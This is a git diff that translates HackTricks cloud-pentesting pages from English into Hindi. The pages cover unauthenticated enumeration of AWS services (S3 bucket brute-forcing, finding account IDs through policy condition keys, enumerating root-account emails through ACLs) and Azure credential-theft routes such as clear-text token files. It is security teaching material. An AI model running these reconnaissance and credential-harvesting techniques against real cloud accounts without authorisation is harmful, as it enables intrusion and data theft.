gateways, यह संभव है कि एक सार्वजनिक लैम्ब्डा URL से **`aws:ResourceAccount`** **Policy Condition Key** का दुरुपयोग करके एक खाते की खाता आईडी प्राप्त की जा सके। यह नीति के **`aws:ResourceAccount`** अनुभाग में वाइल्डकार्ड का दुरुपयोग करके एक बार में एक अक्षर खाता आईडी खोजकर किया जाता है।\ +यह तकनीक आपको **टैग के मान** प्राप्त करने की भी अनुमति देती है यदि आप टैग कुंजी जानते हैं (कुछ डिफ़ॉल्ट दिलचस्प हैं)। -You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. +आप अधिक जानकारी [**मूल शोध**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) और इस शोषण को स्वचालित करने के लिए उपकरण [**conditional-love**](https://github.com/plerionhq/conditional-love/) में पा सकते हैं। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md index 2bbc4fdd6..ddb335879 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md @@ -2,16 +2,10 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### सार्वजनिक URL टेम्पलेट ``` https://{random_id}.mediaconvert.{region}.amazonaws.com https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel https://{random_id}.data.mediastore.{region}.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md index ab06211e2..2605127a9 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md @@ -2,25 +2,19 @@ {{#include ../../../banners/hacktricks-training.md}} -## Public Port +## सार्वजनिक पोर्ट ### **RabbitMQ** -In case of **RabbitMQ**, by **default public access** and ssl are enabled. But you need **credentials** to access (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Moreover, it's possible to **access the web management console** if you know the credentials in `https://b-.mq.us-east-1.amazonaws.com/` +**RabbitMQ** के मामले में, **डिफ़ॉल्ट सार्वजनिक पहुंच** और ssl सक्षम हैं। लेकिन आपको पहुंच के लिए **क्रेडेंशियल्स** की आवश्यकता है (`amqps://.mq.us-east-1.amazonaws.com:5671`​​)। इसके अलावा, यदि आप `https://b-.mq.us-east-1.amazonaws.com/` में क्रेडेंशियल्स जानते हैं तो **वेब प्रबंधन कंसोल** तक पहुंचना संभव है। ### ActiveMQ -In case of **ActiveMQ**, by default public access and ssl are enabled, but you need credentials to access. - -### Public URL template +**ActiveMQ** के मामले में, डिफ़ॉल्ट रूप से सार्वजनिक पहुंच और ssl सक्षम हैं, लेकिन आपको पहुंच के लिए क्रेडेंशियल्स की आवश्यकता है। +### सार्वजनिक URL टेम्पलेट ``` https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md index 9bbbd408d..b32b0f294 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md @@ -2,21 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public Port +### सार्वजनिक पोर्ट -It's possible to **expose the Kafka broker to the public**, but you will need **credentials**, IAM permissions or a valid certificate (depending on the auth method configured). +यह **Kafka ब्रोकर को सार्वजनिक रूप से उजागर करना संभव है**, लेकिन आपको **प्रमाण पत्र**, IAM अनुमतियाँ या एक मान्य प्रमाणपत्र की आवश्यकता होगी (कॉन्फ़िगर की गई प्रमाणीकरण विधि के आधार पर)। -It's also **possible to disabled authentication**, but in that case **it's not possible to directly expose** the port to the Internet. - -### Public URL template +यह भी **प्रमाणीकरण को निष्क्रिय करना संभव है**, लेकिन उस स्थिति में **इंटरनेट पर सीधे पोर्ट को उजागर करना संभव नहीं है**। +### सार्वजनिक URL टेम्पलेट ``` b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com {user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md index 218300e3f..00a8219c9 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md @@ -1,23 +1,22 @@ -# AWS - RDS Unauthenticated Enum +# AWS - RDS अनधिकृत ENUM {{#include ../../../banners/hacktricks-training.md}} ## RDS -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md {{#endref}} -## Public Port +## सार्वजनिक पोर्ट -It's possible to give public access to the **database from the internet**. The attacker will still need to **know the username and password,** IAM access, or an **exploit** to enter in the database. +यह **इंटरनेट से डेटाबेस** तक सार्वजनिक पहुंच देने की संभावना है। हमलावर को **उपयोगकर्ता नाम और पासवर्ड,** IAM पहुंच, या डेटाबेस में प्रवेश करने के लिए एक **शोषण** जानना होगा। -## Public RDS Snapshots - -AWS allows giving **access to anyone to download RDS snapshots**. You can list these public RDS snapshots very easily from your own account: +## सार्वजनिक RDS स्नैपशॉट +AWS **किसी को भी RDS स्नैपशॉट डाउनलोड करने की अनुमति** देता है। आप अपने खाते से इन सार्वजनिक RDS स्नैपशॉट को बहुत आसानी से सूचीबद्ध कर सकते हैं: ```bash # Public RDS snapshots aws rds describe-db-snapshots --include-public @@ -33,16 +32,9 @@ aws rds describe-db-snapshots --snapshot-type public [--region us-west-2] ## Even if in the console appear as there are public snapshot it might be public ## snapshots from other accounts used by the current account ``` - -### Public URL template - +### सार्वजनिक URL टेम्पलेट ``` mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306 postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md index ab1577a1e..56938bf47 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### सार्वजनिक URL टेम्पलेट ``` {user_provided}...redshift.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md index 28c7b1673..7567887dd 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md @@ -2,42 +2,42 @@ {{#include ../../../banners/hacktricks-training.md}} -## S3 Public Buckets +## S3 सार्वजनिक बकेट -A bucket is considered **“public”** if **any user can list the contents** of the bucket, and **“private”** if the bucket's contents can **only be listed or written by certain users**. +एक बकेट को **“सार्वजनिक”** माना जाता है यदि **कोई भी उपयोगकर्ता बकेट की सामग्री को सूचीबद्ध कर सकता है**, और **“निजी”** यदि बकेट की सामग्री को **केवल कुछ उपयोगकर्ताओं द्वारा सूचीबद्ध या लिखा जा सकता है**। -Companies might have **buckets permissions miss-configured** giving access either to everything or to everyone authenticated in AWS in any account (so to anyone). Note, that even with such misconfigurations some actions might not be able to be performed as buckets might have their own access control lists (ACLs). +कंपनियों के पास **बकेट अनुमतियाँ गलत कॉन्फ़िगर की गई हो सकती हैं** जो या तो सब कुछ या AWS में किसी भी खाते में प्रमाणित सभी को पहुँच देती हैं (तो किसी को भी)। ध्यान दें, कि ऐसी गलत कॉन्फ़िगरेशन के साथ भी कुछ क्रियाएँ नहीं की जा सकती हैं क्योंकि बकेट की अपनी पहुँच नियंत्रण सूचियाँ (ACLs) हो सकती हैं। -**Learn about AWS-S3 misconfiguration here:** [**http://flaws.cloud**](http://flaws.cloud/) **and** [**http://flaws2.cloud/**](http://flaws2.cloud) +**AWS-S3 गलत कॉन्फ़िगरेशन के बारे में यहाँ जानें:** [**http://flaws.cloud**](http://flaws.cloud/) **और** [**http://flaws2.cloud/**](http://flaws2.cloud) -### Finding AWS Buckets +### AWS बकेट खोजने के तरीके -Different methods to find when a webpage is using AWS to storage some resources: +जब एक वेबपृष्ठ AWS का उपयोग करके कुछ संसाधनों को स्टोर कर रहा हो, तो खोजने के विभिन्न तरीके: -#### Enumeration & OSINT: +#### एन्यूमरेशन और OSINT: -- Using **wappalyzer** browser plugin -- Using burp (**spidering** the web) or by manually navigating through the page all **resources** **loaded** will be save in the History. -- **Check for resources** in domains like: +- **wappalyzer** ब्राउज़र प्लगइन का उपयोग करना +- बर्प का उपयोग करना (**वेब को स्पाइडर करना**) या पृष्ठ के माध्यम से मैन्युअल रूप से नेविगेट करके सभी **संसाधनों** **को लोड** किया जाएगा जो इतिहास में सहेजे जाएंगे। +- **संसाधनों के लिए जाँच करें** जैसे डोमेन में: - ``` - http://s3.amazonaws.com/[bucket_name]/ - http://[bucket_name].s3.amazonaws.com/ - ``` +``` +http://s3.amazonaws.com/[bucket_name]/ +http://[bucket_name].s3.amazonaws.com/ +``` -- Check for **CNAMES** as `resources.domain.com` might have the CNAME `bucket.s3.amazonaws.com` -- Check [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), a web with already **discovered open buckets**. -- The **bucket name** and the **bucket domain name** needs to be **the same.** - - **flaws.cloud** is in **IP** 52.92.181.107 and if you go there it redirects you to [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Also, `dig -x 52.92.181.107` gives `s3-website-us-west-2.amazonaws.com`. - - To check it's a bucket you can also **visit** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). +- **CNAMES** के लिए जाँच करें क्योंकि `resources.domain.com` में CNAME `bucket.s3.amazonaws.com` हो सकता है +- जाँच करें [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), एक वेब जिसमें पहले से **खोजे गए खुले बकेट** हैं। +- **बकेट नाम** और **बकेट डोमेन नाम** को **एक समान होना चाहिए।** +- **flaws.cloud** **IP** 52.92.181.107 पर है और यदि आप वहाँ जाते हैं तो यह आपको [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/) पर रीडायरेक्ट करता है। इसके अलावा, `dig -x 52.92.181.107` `s3-website-us-west-2.amazonaws.com` देता है। +- यह जाँचने के लिए कि यह एक बकेट है, आप **यहाँ भी जा सकते हैं** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/)। -#### Brute-Force +#### ब्रूट-फोर्स -You can find buckets by **brute-forcing name**s related to the company you are pentesting: +आप बकेट्स को **कंपनी से संबंधित नामों को ब्रूट-फोर्स करके** खोज सकते हैं जिसे आप पेंटेस्ट कर रहे हैं: - [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) - [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) -- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contains a list with potential bucket names) +- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (संभावित बकेट नामों की सूची शामिल है) - [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) - [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) - [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) @@ -75,18 +75,17 @@ cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt | grep bucket_exists
-#### Loot S3 Buckets +#### लूट S3 बकेट -Given S3 open buckets, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) can automatically **search for interesting information**. +खुले S3 बकेट दिए गए, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) स्वचालित रूप से **दिलचस्प जानकारी** के लिए **खोज सकता है**। -### Find the Region +### क्षेत्र खोजें -You can find all the supported regions by AWS in [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) +आप AWS द्वारा समर्थित सभी क्षेत्रों को [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) पर पा सकते हैं। -#### By DNS - -You can get the region of a bucket with a **`dig`** and **`nslookup`** by doing a **DNS request of the discovered IP**: +#### DNS द्वारा +आप **`dig`** और **`nslookup`** के साथ एक बकेट के क्षेत्र को प्राप्त कर सकते हैं **खोजे गए IP** का **DNS अनुरोध करके**: ```bash dig flaws.cloud ;; ANSWER SECTION: @@ -96,31 +95,29 @@ nslookup 52.218.192.11 Non-authoritative answer: 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. ``` - Check that the resolved domain have the word "website".\ -You can access the static website going to: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ -or you can access the bucket visiting: `flaws.cloud.s3-us-west-2.amazonaws.com` +आप स्थिर वेबसाइट तक पहुँच सकते हैं: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ +या आप बकेट तक पहुँच सकते हैं: `flaws.cloud.s3-us-west-2.amazonaws.com` #### By Trying -If you try to access a bucket, but in the **domain name you specify another region** (for example the bucket is in `bucket.s3.amazonaws.com` but you try to access `bucket.s3-website-us-west-2.amazonaws.com`, then you will be **indicated to the correct location**: +यदि आप एक बकेट तक पहुँचने की कोशिश करते हैं, लेकिन **डोमेन नाम में आप एक और क्षेत्र निर्दिष्ट करते हैं** (उदाहरण के लिए बकेट `bucket.s3.amazonaws.com` में है लेकिन आप `bucket.s3-website-us-west-2.amazonaws.com` तक पहुँचने की कोशिश करते हैं, तो आपको **सही स्थान पर संकेतित किया जाएगा**: ![](<../../../images/image (106).png>) ### Enumerating the bucket -To test the openness of the bucket a user can just enter the URL in their web browser. A private bucket will respond with "Access Denied". A public bucket will list the first 1,000 objects that have been stored. +बकेट की खुली स्थिति का परीक्षण करने के लिए, एक उपयोगकर्ता बस अपने वेब ब्राउज़र में URL दर्ज कर सकता है। एक निजी बकेट "Access Denied" के साथ प्रतिक्रिया देगा। एक सार्वजनिक बकेट पहले 1,000 वस्तुओं की सूची देगा जो संग्रहीत की गई हैं। -Open to everyone: +सभी के लिए खुला: ![](<../../../images/image (201).png>) -Private: +निजी: ![](<../../../images/image (83).png>) -You can also check this with the cli: - +आप इसे cli के साथ भी जांच सकते हैं: ```bash #Use --no-sign-request for check Everyones permissions #Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions @@ -128,22 +125,18 @@ You can also check this with the cli: #Opcionally you can select the region if you now it aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] ``` +यदि बकेट का डोमेन नाम नहीं है, तो इसे सूचीबद्ध करने का प्रयास करते समय, **केवल बकेट का नाम डालें** और पूरे AWSs3 डोमेन को नहीं। उदाहरण: `s3://` -If the bucket doesn't have a domain name, when trying to enumerate it, **only put the bucket name** and not the whole AWSs3 domain. Example: `s3://` - -### Public URL template - +### सार्वजनिक URL टेम्पलेट ``` https://{user_provided}.s3.amazonaws.com ``` - ### Get Account ID from public Bucket -It's possible to determine an AWS account by taking advantage of the new **`S3:ResourceAccount`** **Policy Condition Key**. This condition **restricts access based on the S3 bucket** an account is in (other account-based policies restrict based on the account the requesting principal is in).\ -And because the policy can contain **wildcards** it's possible to find the account number **just one number at a time**. - -This tool automates the process: +यह संभव है कि एक AWS खाता निर्धारित किया जाए **`S3:ResourceAccount`** **नीति स्थिति कुंजी** का लाभ उठाकर। यह स्थिति **S3 बकेट के आधार पर पहुंच को प्रतिबंधित करती है** जिसमें एक खाता है (अन्य खाता-आधारित नीतियाँ उस खाते के आधार पर प्रतिबंधित करती हैं जिसमें अनुरोध करने वाला प्रमुख है)।\ +और क्योंकि नीति में **वाइल्डकार्ड** हो सकते हैं, इसलिए खाता संख्या **केवल एक संख्या में एक बार** पाई जा सकती है। +यह उपकरण प्रक्रिया को स्वचालित करता है: ```bash # Installation pipx install s3-account-search @@ -153,13 +146,11 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket # With an object s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext ``` +यह तकनीक API गेटवे URLs, Lambda URLs, डेटा एक्सचेंज डेटा सेट और यहां तक कि टैग के मान प्राप्त करने के लिए भी काम करती है (यदि आप टैग कुंजी जानते हैं)। आप [**मूल शोध**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) और इस शोषण को स्वचालित करने के लिए उपकरण [**conditional-love**](https://github.com/plerionhq/conditional-love/) में अधिक जानकारी प्राप्त कर सकते हैं। -This technique also works with API Gateway URLs, Lambda URLs, Data Exchange data sets and even to get the value of tags (if you know the tag key). You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. - -### Confirming a bucket belongs to an AWS account - -As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, if you have permissions to list a bucket** it’s possible to confirm an accountID the bucket belongs to by sending a request like: +### एक बकेट की पुष्टि करना कि यह AWS खाते से संबंधित है +जैसा कि [**इस ब्लॉग पोस्ट**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) में समझाया गया है, **यदि आपके पास एक बकेट को सूचीबद्ध करने की अनुमति है** तो यह संभव है कि आप उस खाते की ID की पुष्टि कर सकें जिससे बकेट संबंधित है, एक अनुरोध भेजकर जैसे: ```bash curl -X GET "[bucketname].amazonaws.com/" \ -H "x-amz-expected-bucket-owner: [correct-account-id]" @@ -167,41 +158,34 @@ curl -X GET "[bucketname].amazonaws.com/" \ ... ``` +यदि त्रुटि "Access Denied" है, तो इसका मतलब है कि खाता आईडी गलत थी। -If the error is an “Access Denied” it means that the account ID was wrong. - -### Used Emails as root account enumeration - -As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), it's possible to check if an email address is related to any AWS account by **trying to grant an email permissions** over a S3 bucket via ACLs. If this doesn't trigger an error, it means that the email is a root user of some AWS account: +### रूट खाता enumeration के रूप में उपयोग किए गए ईमेल +जैसा कि [**इस ब्लॉग पोस्ट**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) में समझाया गया है, यह जांचना संभव है कि क्या कोई ईमेल पता किसी AWS खाते से संबंधित है **S3 बकेट पर ACLs के माध्यम से ईमेल को अनुमति देने की कोशिश करके**। यदि यह कोई त्रुटि उत्पन्न नहीं करता है, तो इसका मतलब है कि ईमेल किसी AWS खाते का रूट उपयोगकर्ता है: ```python s3_client.put_bucket_acl( - Bucket=bucket_name, - AccessControlPolicy={ - 'Grants': [ - { - 'Grantee': { - 'EmailAddress': 'some@emailtotest.com', - 'Type': 'AmazonCustomerByEmail', - }, - 'Permission': 'READ' - }, - ], - 'Owner': { - 'DisplayName': 'Whatever', - 'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' - } - } +Bucket=bucket_name, +AccessControlPolicy={ +'Grants': [ +{ +'Grantee': { +'EmailAddress': 'some@emailtotest.com', +'Type': 'AmazonCustomerByEmail', +}, +'Permission': 'READ' +}, +], +'Owner': { +'DisplayName': 'Whatever', +'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' +} +} ) ``` - -## References +## संदर्भ - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md index 7978eff36..05ed1cdc4 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md @@ -4,22 +4,18 @@ ## SNS -For more information about SNS check: +SNS के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-sns-enum.md {{#endref}} -### Open to All +### सभी के लिए खुला -When you configure a SNS topic from the web console it's possible to indicate that **Everyone can publish and subscribe** to the topic: +जब आप वेब कंसोल से एक SNS टॉपिक कॉन्फ़िगर करते हैं, तो यह संकेत देना संभव है कि **हर कोई टॉपिक पर प्रकाशित और सदस्यता ले सकता है**:
-So if you **find the ARN of topics** inside the account (or brute forcing potential names for topics) you can **check** if you can **publish** or **subscribe** to **them**. +तो यदि आप **खाता के अंदर टॉपिक्स का ARN खोजते हैं** (या टॉपिक्स के संभावित नामों के लिए ब्रूट फोर्सिंग करते हैं) तो आप **जांच सकते हैं** कि क्या आप **उन पर प्रकाशित** या **सदस्यता ले सकते हैं**। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md index a5006a63b..1ef561b99 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md @@ -4,24 +4,18 @@ ## SQS -For more information about SQS check: +SQS के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md {{#endref}} -### Public URL template - +### सार्वजनिक URL टेम्पलेट ``` https://sqs.[region].amazonaws.com/[account-id]/{user_provided} ``` - ### Check Permissions -It's possible to misconfigure a SQS queue policy and grant permissions to everyone in AWS to send and receive messages, so if you get the ARN of queues try if you can access them. +यह संभव है कि SQS कतार नीति को गलत तरीके से कॉन्फ़िगर किया जाए और AWS में सभी को संदेश भेजने और प्राप्त करने की अनुमति दी जाए, इसलिए यदि आपको कतारों का ARN मिलता है तो कोशिश करें कि क्या आप उन्हें एक्सेस कर सकते हैं। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index 9d2de65fc..3ccdddef1 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -10,46 +10,46 @@ az-basic-information/ ## Azure Pentester/Red Team Methodology -In order to audit an AZURE environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal Azure services and **external services** connected. +AZURE वातावरण का ऑडिट करने के लिए यह बहुत महत्वपूर्ण है: कौन से **सेवाएँ उपयोग की जा रही हैं**, क्या **प्रकट किया जा रहा है**, किसके पास **पहुँच** है, और आंतरिक Azure सेवाएँ और **बाहरी सेवाएँ** कैसे जुड़ी हुई हैं। -From a Red Team point of view, the **first step to compromise an Azure environment** is to manage to obtain some **credentials** for Azure AD. Here you have some ideas on how to do that: +Red Team के दृष्टिकोण से, **Azure वातावरण को समझौता करने का पहला कदम** Azure AD के लिए कुछ **क्रेडेंशियल्स** प्राप्त करना है। यहाँ कुछ विचार दिए गए हैं कि ऐसा कैसे किया जा सकता है: -- **Leaks** in github (or similar) - OSINT +- **Leaks** github (या समान) में - OSINT - **Social** Engineering -- **Password** reuse (password leaks) -- Vulnerabilities in Azure-Hosted Applications - - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint - - **Local File Read** - - `/home/USERNAME/.azure` - - `C:\Users\USERNAME\.azure` - - The file **`accessTokens.json`** in `az cli` before 2.30 - Jan2022 - stored **access tokens in clear text** - - The file **`azureProfile.json`** contains **info** about logged user. - - **`az logout`** removes the token. - - Older versions of **`Az PowerShell`** stored **access tokens** in **clear** text in **`TokenCache.dat`**. It also stores **ServicePrincipalSecret** in **clear**-text in **`AzureRmContext.json`**. The cmdlet **`Save-AzContext`** can be used to **store** **tokens**.\ - Use `Disconnect-AzAccount` to remove them. -- 3rd parties **breached** +- **Password** पुन: उपयोग (पासवर्ड लीक) +- Azure-Hosted Applications में कमजोरियाँ +- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) जिसमें मेटाडेटा एंडपॉइंट तक पहुँच है +- **Local File Read** +- `/home/USERNAME/.azure` +- `C:\Users\USERNAME\.azure` +- फ़ाइल **`accessTokens.json`** `az cli` में 2.30 से पहले - Jan2022 - **access tokens को स्पष्ट पाठ में** संग्रहीत किया गया था +- फ़ाइल **`azureProfile.json`** में लॉग इन किए गए उपयोगकर्ता के बारे में **जानकारी** होती है। +- **`az logout`** टोकन को हटा देता है। +- पुराने संस्करणों में **`Az PowerShell`** ने **access tokens** को **स्पष्ट** पाठ में **`TokenCache.dat`** में संग्रहीत किया। यह **ServicePrincipalSecret** को भी **स्पष्ट** पाठ में **`AzureRmContext.json`** में संग्रहीत करता है। cmdlet **`Save-AzContext`** का उपयोग **tokens** को **संग्रहित** करने के लिए किया जा सकता है।\ +उन्हें हटाने के लिए `Disconnect-AzAccount` का उपयोग करें। +- 3rd पार्टियों का **breached** - **Internal** Employee -- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credentials or Oauth App) - - [Device Code Authentication Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) +- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (क्रेडेंशियल्स या Oauth App) +- [Device Code Authentication Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) - [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) -Even if you **haven't compromised any user** inside the Azure tenant you are attacking, you can **gather some information** from it: +यहाँ तक कि अगर आपने Azure टेनेन्ट के अंदर किसी उपयोगकर्ता को **समझौता नहीं किया** है, तो आप इससे **कुछ जानकारी** एकत्र कर सकते हैं: {{#ref}} az-unauthenticated-enum-and-initial-entry/ {{#endref}} > [!NOTE] -> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration: +> जब आप क्रेडेंशियल्स प्राप्त करने में सफल हो जाते हैं, तो आपको यह जानने की आवश्यकता है कि **ये क्रेडेंशियल्स किसके हैं**, और **इनके पास क्या पहुँच है**, इसलिए आपको कुछ बुनियादी एन्यूमरेशन करने की आवश्यकता है: ## Basic Enumeration > [!NOTE] -> Remember that the **noisiest** part of the enumeration is the **login**, not the enumeration itself. +> याद रखें कि एन्यूमरेशन का **सबसे शोर वाला** भाग **लॉगिन** है, न कि एन्यूमरेशन स्वयं। ### SSRF -If you found a SSRF in a machine inside Azure check this page for tricks: +यदि आपने Azure के अंदर एक मशीन में SSRF पाया है, तो ट्रिक्स के लिए इस पृष्ठ की जाँच करें: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -59,14 +59,14 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
